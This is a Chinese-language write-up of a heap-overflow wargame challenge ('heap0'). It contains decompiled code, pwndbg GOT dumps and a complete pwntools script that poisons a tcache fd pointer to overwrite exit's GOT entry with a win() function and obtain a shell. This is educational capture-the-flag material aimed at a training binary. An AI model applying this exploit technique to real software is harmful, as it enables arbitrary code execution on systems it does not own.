Heap0伪代码如下:
int win() { return system("/bin/sh"); } int menu() { puts("1) Create chunk"); puts("2) Free chunk"); puts("3) Show chunk"); return puts("4) Exit"); } int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { __int64 v3; // rsi@1 const char *v4; // rdi@1 void *v5; // ST08_8@9 signed int v6; // eax@9 int v7; // [sp+4h] [bp-1Ch]@11 int v8; // [sp+14h] [bp-Ch]@6 int v9; // [sp+18h] [bp-8h]@2 signed int v10; // [sp+1Ch] [bp-4h]@1 v3 = 0LL; v4 = (const char *)stdout; setvbuf(stdout, 0LL, 2, 0LL); v10 = 0; while ( 1 ) { while ( 1 ) { menu(v4, v3); v9 = ((int (*)(void))get_int)(); if ( v9 != 1 ) break; if ( v10 > 99 ) { puts("Too many chunks created"); exit(1); } puts("Size of the chunk:"); v8 = get_int("Size of the chunk:"); if ( v8 > 0 && v8 <= 4096 ) { v5 = malloc(v8); printf("Content: "); gets(v5); v3 = (unsigned int)v10; v4 = "Chunk ID: %d\n"; printf("Chunk ID: %d\n", (unsigned int)v10); v6 = v10++; chunks[v6] = v5; } else { v4 = "Invalid size"; puts("Invalid size"); } } if ( v9 == 2 ) { puts("Chunk id:"); v7 = get_int("Chunk id:"); if ( v7 >= 0 && v7 < v10 && chunks[v7] ) { v4 = (const char *)chunks[v7]; free((void *)v4); chunks[v7] = 0LL; } else { v4 = "No chunk with that id"; puts("No chunk with that id"); } } else if ( v9 == 3 ) { v4 = "Not implemented"; puts("Not implemented"); } else { if ( v9 == 4 ) { puts("Bye"); exit(0); } v4 = "Invalid choice"; puts("Invalid choice"); } } }
如题所示,只要运行win函数就可获得shell,而这题要学一种新的漏洞:堆溢出,因为这题所用到的堆不需要很大很多,所以都由tcache分配,故不考虑其他情况;堆溢出因为只能造成任意地址写,并不能控制EIP,所以我此次要攻击的是GOT表的内容,通过修改GOT表指向的函数地址,然后由程序调用指定函数,从而达到间接控制EIP的目的,查看GOT表和函数地址如下:
pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x401000 r--p 1000 0 /home/gavin/warGame/heap/heap0 0x401000 0x402000 r-xp 1000 1000 /home/gavin/warGame/heap/heap0 0x402000 0x403000 r--p 1000 2000 /home/gavin/warGame/heap/heap0 0x403000 0x404000 r--p 1000 2000 /home/gavin/warGame/heap/heap0 0x404000 0x405000 rw-p 1000 3000 /home/gavin/warGame/heap/heap0 0x7ffff79e4000 0x7ffff7bcb000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so 0x7ffff7bcb000 0x7ffff7dcb000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7ffff7dcb000 0x7ffff7dcf000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7ffff7dcf000 0x7ffff7dd1000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7ffff7dd1000 0x7ffff7dd5000 rw-p 4000 0 0x7ffff7dd5000 0x7ffff7dfc000 r-xp 27000 0 /lib/x86_64-linux-gnu/ld-2.27.so 0x7ffff7fdb000 0x7ffff7fdd000 rw-p 2000 0 0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar] 0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 27000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 28000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] 0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall] pwndbg> telescope 0x404000 0x405000 00:0000│ 0x404000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x403e20 (_DYNAMIC) ◂— 0x1 01:0008│ 0x404008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7ffe170 ◂— 0x0 02:0010│ 0x404010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7dec680 (_dl_runtime_resolve_xsave) ◂— push rbx 03:0018│ 0x404018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x401036 (free@plt+6) ◂— push 0 /* 'h' */ 04:0020│ 0x404020 (_GLOBAL_OFFSET_TABLE_+32) —▸ 0x401046 (puts@plt+6) ◂— push 1 05:0028│ 0x404028 (_GLOBAL_OFFSET_TABLE_+40) —▸ 0x401056 (system@plt+6) ◂— push 2 06:0030│ 0x404030 (_GLOBAL_OFFSET_TABLE_+48) —▸ 0x401066 (printf@plt+6) ◂— push 3 07:0038│ 0x404038 (_GLOBAL_OFFSET_TABLE_+56) —▸ 0x401076 (getchar@plt+6) ◂— push 4 08:0040│ 0x404040 (_GLOBAL_OFFSET_TABLE_+64) —▸ 0x401086 (gets@plt+6) ◂— push 5 09:0048│ 0x404048 (_GLOBAL_OFFSET_TABLE_+72) —▸ 0x401096 (malloc@plt+6) ◂— push 6 0a:0050│ 0x404050 (_GLOBAL_OFFSET_TABLE_+80) —▸ 0x4010a6 (setvbuf@plt+6) ◂— push 7 0b:0058│ 0x404058 (_GLOBAL_OFFSET_TABLE_+88) —▸ 0x4010b6 (__isoc99_scanf@plt+6) ◂— push 8 0c:0060│ 0x404060 (_GLOBAL_OFFSET_TABLE_+96) —▸ 0x4010c6 (exit@plt+6) ◂— push 9 /* 'h\t' */ 0d:0068│ 0x404068 (data_start) ◂— 0x0 ... ↓ 10:0080│ 0x404080 (stdout@@GLIBC_2.2.5) —▸ 0x7ffff7dd0760 (_IO_2_1_stdout_) ◂— 0xfbad2084 11:0088│ 0x404088 (completed) ◂— 0x0 ... ↓ pwndbg> info functions All defined functions: Non-debugging symbols: 0x0000000000401000 _init 0x0000000000401030 free@plt 0x0000000000401040 puts@plt 0x0000000000401050 system@plt 0x0000000000401060 printf@plt 0x0000000000401070 getchar@plt 0x0000000000401080 gets@plt 0x0000000000401090 malloc@plt 0x00000000004010a0 setvbuf@plt 0x00000000004010b0 __isoc99_scanf@plt 0x00000000004010c0 exit@plt 0x00000000004010d0 _start 0x0000000000401100 _dl_relocate_static_pie 0x0000000000401110 deregister_tm_clones 0x0000000000401140 register_tm_clones 0x0000000000401180 __do_global_dtors_aux 0x00000000004011b0 frame_dummy 0x00000000004011b2 win 0x00000000004011c5 menu 0x00000000004011fc get_int 0x0000000000401237 main 0x0000000000401430 __libc_csu_init 0x0000000000401490 __libc_csu_fini 0x0000000000401494 _fini
表中有一个exit函数,从伪代码中可以得到,只要将exit函数地址修改为win函数地址,然后在菜单中选择退出,就可以执行win函数从而得到shell,攻击脚本如下(注意看脚本中的注释):
from pwn import * sh=process('./heap0') def creat(size,data): sh.recvuntil('4) Exit') sh.sendline('1') sh.recvuntil('Size of the chunk:') sh.sendline(str(size)) sh.recvuntil('Content: ') sh.sendline(str(data)) def free(ID): sh.recvuntil('4) Exit') sh.sendline('2') sh.recvuntil('Chunk id:') sh.sendline(str(ID)) creat(10,'1111') creat(10,'2222') free(1) #tcache是后进先出的数据结构,所以释放的时候顺序是反的 free(0) #我尝试过只创建一个chunk,虽然溢出了但是并不能做到任意位置写,有没有大佬出来解释下 payload=cyclic(0x18)+p64(0x61)+'\x60\x40\x40' creat(10,payload) #执行堆溢出的chunk,需要将0x404060指向win函数所在位置 creat(10,'abcd') #在创建这个chunk的时候溢出已经发生了,fd指针已经被修改到exit函数的位置 creat(10,'\xb2\x11\x40') #这个chunk将本来指向exit函数的指针修改为指向win函数 sh.interactive()
这里提一下堆内存分配时的规则,每个堆分配的时候都是一个0xf(16),当我们申请了10字节(0xa)事实上是0xa+0x8个字节(fd指针的4个,还有四个的值一直都是0,有没有大佬出来解释下),因为大于0x10所以系统分配了0x20字节的内存(现在看懂了cyclic(0x18)的原因了吧),因为堆利用的时候不好理解,所以我还找了个图(非常感谢semchapeu的耐心帮助O(∩_∩)O):
init ------------ Tcache: empty Chunk A Chunk B ------------ free(B) ------------ Tcache: B Chunk A Freed B ------------ free(A) ------------ Tcache: A -> B Freed A Freed B ------------ create chunk C ------------ Tcache: B Chunk C Freed B ------------ 用chunk C 覆盖已释放的chunk B中 fd 指针指向的位置 ------------ Tcache: B -> Evil Chunk C Freed B ------------ create chunk D ------------ Tcache: Evil Chunk C Chunk D ------------ 申请的下一个chunk就可以任意位置写了
小结:
因为我和管理员的关系不错,所以他把还没上线的heap游戏先给我了,所以你们看到的是还没上线的堆溢出游戏的抢先体验版O(∩_∩)O哈哈~
附件是这个级别的游戏所需要的glibc版本,如果版本太低的话,附件里还提供了docker文件